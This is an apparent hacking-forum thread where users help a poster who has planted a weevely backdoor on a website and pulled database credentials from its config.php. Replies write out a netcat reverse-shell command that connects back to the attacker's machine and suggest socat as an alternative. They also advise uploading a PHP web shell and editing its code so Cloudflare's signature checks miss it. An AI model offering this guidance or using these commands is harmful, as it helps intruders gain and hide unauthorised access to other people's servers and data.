[yellowpad]

i can show all available database using weevely .
but when i use the one of database an error msg show 'no data returned check credentials and dbms availability'
[img]http://s10.postimg.org/qvkak4okl/hyea.jpg[/img]

[Ichi]

That's because you have to provide the correct credentials to log in. Weevely isn't just gonna magically give you access to the database but it can enumerate the names. Who uses weevely anyway? lmao

[yellowpad]

That's because you have to provide the correct credentials to log in. Weevely isn't just gonna magically give you access to the database but it can enumerate the names. Who uses weevely anyway? lmao

i set the correct user and password which i found in config.php of the site .. in my screenshoot that i show you see that i can list all databases but i cant execute the select database query

[Ichi]

You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weevely acting all buggy like it usually does. Seriously, don't use weevely

[SIM-1241186]

You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weevely acting all buggy like it usually does. Seriously, don't use weevely

I use weevely. Mainly because once upon a time I had Netcat working, and one day it just decided to stop. My port is open, I am aware that servers often block ports, and have even tried with the default MySQL port. Whenever I try to back connect via Netcat nothing happens anymore. I can successfully generate an HTTP request to NC via localhost, so I know my port is not the problem.

Therefore, I use weevely. I have no other way of establishing a back connection.
I've not had any problems with it, as far as I've seen it returns my desired results according to the commands I give it.

What's wrong with it? / is there any better alternatives aside from Netcat?

[Ichi]

I use weevely. Mainly because once upon a time I had Netcat working, and one day it just decided to stop. My port is open, I am aware that servers often block ports, and have even tried with the default MySQL port. Whenever I try to back connect via Netcat nothing happens anymore. I can successfully generate an HTTP request to NC via localhost, so I know my port is not the problem.

Therefore, I use weevely. I have no other way of establishing a back connection.
I've not had any problems with it, as far as I've seen it returns my desired results according to the commands I give it.

What's wrong with it? / is there any better alternatives aside from Netcat?

If you're using a PHP web-shell to try and execute the backconnect from the target machine, I imagine the web shell will execute a command similar to:

PHP Code


<?php 
nc [ip of your machine] [port] —e /bin/bash 


That target machine may not have -e permissions. There are alternatives to executing netcat from the target machine that will still allow you to use netcat on your local machine.

If that isn't the case, netcat may be improperly installed. Have you tried Socat(SOcket CAT)?? It's like netcat but "with security in mind"

PHP Code


<?php 
$ sudo apt-get update && sudo apt-get install socat 


Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes

[Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ]

Check What User You Are, you might Not Have Perms

[yellowpad]

You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weevely acting all buggy like it usually does. Seriously, don't use weevely

i cant use php webshell because the cloudflare detect it .!! like wso or c99 .. so i maked my own mysql interface in php which have ugly interface 😵

---

Check What User You Are, you might Not Have Perms

i think weevely is only supporting the 'show databases' in mysql

i try to installed backdoor to my server and the result is the same

here is the result
[img]http://s12.postimg.org/j3xtvfoq1/try1.jpg[/img]

[Ichi]

i cant use php webshell because the cloudflare detect it .!! like wso or c99 .. so i maked my own mysql interface in php which have ugly interface 😵

Cloudfare eh? I'm sure all they did was take the source or the MD5/SHA-1 checksum and put it in their AV database. So editing the code slightly would completely change the checksum, thus making the web-shell UD. Then again they may have a more advanced system..It's worth a shot though.

I'd check out NeoPI and these links, they might help you:

Code

https://bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/
http://www.exploit-db.com/wp-content/themes/exploit/docs/18216.pdf

[yellowpad]

Cloudfare eh? I'm sure all they did was take the source or the MD5/SHA-1 checksum and put it in their AV database. So editing the code slightly would completely change the checksum, thus making the web-shell UD. Then again they may have a more advanced system..It's worth a shot though.

I'd check out NeoPI and these links, they might help you:

Code

https://bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/
http://www.exploit-db.com/wp-content/themes/exploit/docs/18216.pdf

tnx for this link !!... great alternative to weevely backdoor

[Warphunt]

You typed wrong database name... what the hell...

[yellowpad]

You typed wrong database name... what the hell...

😶😶😶😶😶😶😶😶😶😶😶😶😠😯🤫